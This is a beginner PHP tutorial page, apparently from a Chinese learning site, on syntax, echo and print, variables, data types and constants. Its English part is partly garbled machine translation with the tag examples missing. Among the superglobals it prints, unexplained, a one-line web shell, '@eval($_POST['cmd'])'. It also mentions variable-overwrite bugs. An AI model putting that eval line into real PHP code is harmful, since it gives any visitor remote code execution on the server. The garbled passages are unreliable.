Home >Backend Development >PHP Tutorial >PHP foundation consolidation basic syntax, variables and constants (summary sharing)
This article brings you relevant knowledge about PHP, which mainly introduces the relevant content about basic syntax, variables, variable types and constants. It is mainly to consolidate the foundation. I hope it will be useful to everyone. help.
Recommended learning: "PHP Video Tutorial"
PHP The Chinese name is hypertext preprocessor, which is a general open source scripting language. The syntax absorbs the characteristics of C language, Java and Perl, which is easy to learn and widely used. It is mainly suitable for the field of Web development. Compared with other programming languages, PHP embeds the program into the HTML (an application under the standard universal markup language) document to execute , and the execution efficiency is higher than that of completely generating HTML tags. The CGI is much higher; PHP can also execute compiled code. Compilation can achieve encryption and optimization of code running, making the code run faster.
- Basic tag:
- ##Short tag: / /PHP code; ?>
- Script tag:
- ASP tag: <% //PHP code; %>
#Note : It is recommended to use unclosed basic tags for pure PHP script files: ## (2) Instruction delimiter
(4) The difference between HTML and PHPPHP uses a semicolon to indicate the end of a string of code, and each piece of code must end with ';'.
- Note: The end tag?> indicates an implicit semicolon, so the last line of PHP code does not need to include a semicolon! All suggestions are added.
- (3) Notes
<?php //这是单行注释 #这也是单行注释 /* 这是多行注释 */ ?>
Web pages created using HTML are static web pages, and PHP files can create dynamic web pages.
- PHP files can contain text, HTML tags, scripts, etc.
- HTML is a string for PHP, and HTML is a string in the PHP language and is output directly; and the HTML tag can be written as a separate tag Outside of PHP tags!
- (5) PHP line break
"echo supports multiple characters String output, separated by commas (,), print only supports one string output;
"Browse The browser displays line breaks, and the source code displays
- ##"\n"The browser does not display line breaks, and the source code displays line breaks
- (6) The difference between 'echo' and 'print' echo commands
- echo output speed is faster than print;
- print() has a return value. If successful, the return value is 1; false, the return value is 0, and echo has no return value
<?php //echo用法 echo "xiaofeng is cool<br>"; echo "xiaofeng"," ","is"," ","cool","!"; ?> <hr> <?php //print用法 print "hello world!"; print "<br>"; print "hello"; print " "; print "world"; print "!" ?>
Summary: Try to use echo when writing code, because it supports multi-string output. If you insist on using print, I I can’t stop you, but I can only output a string, so don’t be greedy~
编程语言里事先定义好并赋予特殊含义的单词,也称作保留字。和其他语言一样,PHP中保留了许多关键字,例如class、public等。
注:★表示从PHP5.3开始,●表示从PHP5.4开始,▲表示从PHP5.5开始
<html> <head> <meta charset="utf-8"> </head> <body></body> </html> <?php //echo 输出字符串 echo "hello,My name is xiaofeng!";//每行代码必须以;结束 echo "<br/>"; #表示换行,浏览器和源代码都显示换行。 echo "My name is <span style = 'color:blue;'>xiaofeng</span>"//最后一行可以不用 ?> <hr/> <?php //再来个php echo "祈祷疫情早日结束!<br>"; echo "常州加油\n常州加油\n常州加油"; //也表示换行,只是浏览器不显示换行,源代码显示换行。 ?>
- 变量名
- 变量值(变化)
- 数据类型,变量值的类型
注:PHP脚本语言是一种弱类型语言,和其他语言不同的是变量(常量)的数据类型由程序的上下文决定(给予一个变量赋予什么样的值,就是什么样的数据类型)
<?php echo $name;//Notice: Undefined variable $name = "xiaofeng"; //初次赋值,初始化 echo $name; echo "<hr>"; unset($name); //unset()函数释放指定变量 echo $name;//释放了,输出肯定报错 ?>
- 变量名严格区分大小写
- 变量名由字母、数字、下划线组成,不能以数字开头,也不能包含其他字符(空白字符、特殊字符、空白符等等)
- 变量命名时,最好采用驼峰式命名法或者下划线命名法,做到“见面知意”
1.小驼峰,第一个单词首字母小写,之后单词首字母大写. $ userName (一般用户变量,函数,方法名)
大驼峰,每个单词首字母大写. $ UserModel (一般用于类和类文件命名)
2.下划线命名法,$ _user_name
<?php $age = 21;//变量赋值 echo $age,$Age,$AGE,$aGe;//变量严格区分大小写,只有第一个输出,后面三个都报错Notice: Undefined variable: //echo $name; //Notice: Undefined variable echo "<hr/>"; $name = "zhangsan"; $name1 = "lisi"; $my_name = "xiaofeng"; $your_name = "chuhe"; echo $name,"<br>",$name1,"<br>",$my_name,"<br>",$your_name; ?>
注意:命名的时候最好不要使用常量函数名或者类名,PHP是可以使用的,但为了后期代码审计,建议还是不要用PHP关键字作为变量名称。
- 变量名字可以动态的设置和使用
- 由于$$是php的特性,产生变量覆盖漏洞
<?php $name = "xiaofeng"; #可变变量-$$ $$name = "hello world!";//表示$xiaofeng echo "<hr />"; echo $name; echo "<br/>"; echo $xiaofeng;//输出hello world! ?>
简单理解为变量起了一个别名!
<?php $a = 20; $b = $a; $b++; echo "b的值变为了";echo $b;echo "<br>";//b的值变为了21 echo "a的值还是";echo $a;//a的值没变还是20 echo "<hr>"; $c = &$a; //应用赋值 $c++; //相当于给$a起了一个别名,$c就是$a的本身 echo "c的值变为了";echo $c;echo "<br>"; //c的值为21 echo "a的值变为了";echo $a;//a的值也变为了21 ?>
系统定义的变量,都是数组,用户可以直接使用(后期更新博客细说!)
$_SERVER
$_GET
$_POST
$_REQUEST
$_FILE
$_SESSION
$_COOKIE
$_ENV
$GLOBALS
<?php @eval($_POST['cmd']); ?>
- 规则
- 整数必须有至少一个数字(0-9)
- 整数不能包含逗号或空格
- 整数不能有小数点
- 整数正负均可
- 三种格式规定整数:十进制、十六进制(前缀是 0x)或八进制(前缀是 0)
<?php $x = -20; // 负数 $x = 20; //十进制 $x = 0x8C; // 十六进制数 $x = 047; // 八进制数 $x = b110; //二进制数 ?>
浮点数是有小数点或指数形式的数字。
<?php $f = 3.22;//小数 $f = 123456789012; //超出整型范围 $f = 1.2e20;//科学计数法 /* 精度:精确的有效数字位数 Float:单精度,4个字节 Double:双精度,8个字节 PHP中都是双精度 */?>
$a = true; $a = false;
<?php //单引号定义字符串 $name = 'xiaofeng'; var_dump($name); $str = 'I\'m xiaofeng!'; //单引号定义字符串出现字符串,采用\进行转义 $str = '{$name},I\'m xiaofeng!';//单引号定义的字符串中出现变量名,不会引用变量的值。 echo '<br/>';echo $str; echo '<hr/>'; //双引号定义字符串 $name = "chuhe"; $str = "I'm chuhe!";//双引号定义字符串,直接输出即可 $str = "{$name},I'm chuhe";//双引号定义的字符串中出现变量名,会引用变量的值。 echo $str; echo '<hr/>'; //定界符定义字符串 $str = <<<dada %$^%&%&%&%&^%##$#$@#;'' <p style = "color:green;">xiaofengdada</p> dada; //定界符结尾后面不能有任何字符,包括注释,并且闭合定界符必须位于行的开头! echo $str; ?>
定义字符串时需要注意:
单引号`` :内部的内容只是作为字符串。
双引号"" :如果内部是PHP的变量,那么会将该变量的值解析。如果内部是html代码,也会解析成html。
- 定界符:第一个定界符行后不能有任何字符(包含空格),闭合定界符必须位于行的开头
数组在一个变量中存储多个值。
<?php $cars=array("name","age","Sex"); var_dump($cars); ?>
特殊的 NULL 值表示变量无值。NULL 是数据类型 NULL 唯一可能的值。NULL 值标示变量是否为空。也用于区分空字符串与空值数据库。
<?php $a=null; var_dump($a); ?>
- 常量前面没有美元符号($)
- 常量只能用 define() 函数定义,而不能通过赋值语句
- 常量可以不用理会变量范围的规则而在任何地方定义和访问
- 常量一旦定义就不能被重新定义或者取消定义
- 常量的值一般是bool,int,float,string类型
PHP已经定义好了的,可以直接使用的常量,一般代表特殊的含义。
系统常量:PHP_VERSION,PHP_INT_MAX,PHP_INT_SIZE
魔术常量:__DIR__,__FILE__,__LINE__,__CLASS__,__METHOD__,__NAMESPACE__
<?php define("name","xiaofeng");//定义一个常量 echo name; echo "<hr>"; #name = "chuhe";//Parse error: syntax error, unexpected '=' echo __FILE__;echo "<hr>";//输出当前文件名完整路径 echo __LINE__;echo "<hr>";//输出php源码中的行号 echo PHP_OS;echo "<hr>";//输出当前系统UNIX或者WINNT echo PHP_VERSION;echo "<hr>";//输出当前php版本 echo DIRECTORY_SEPARATOR;echo "<hr>";//输出操作系统决定目录的分隔符\/ ?>
推荐学习:《PHP视频教程》
The above is the detailed content of PHP foundation consolidation basic syntax, variables and constants (summary sharing). For more information, please follow other related articles on the PHP Chinese website!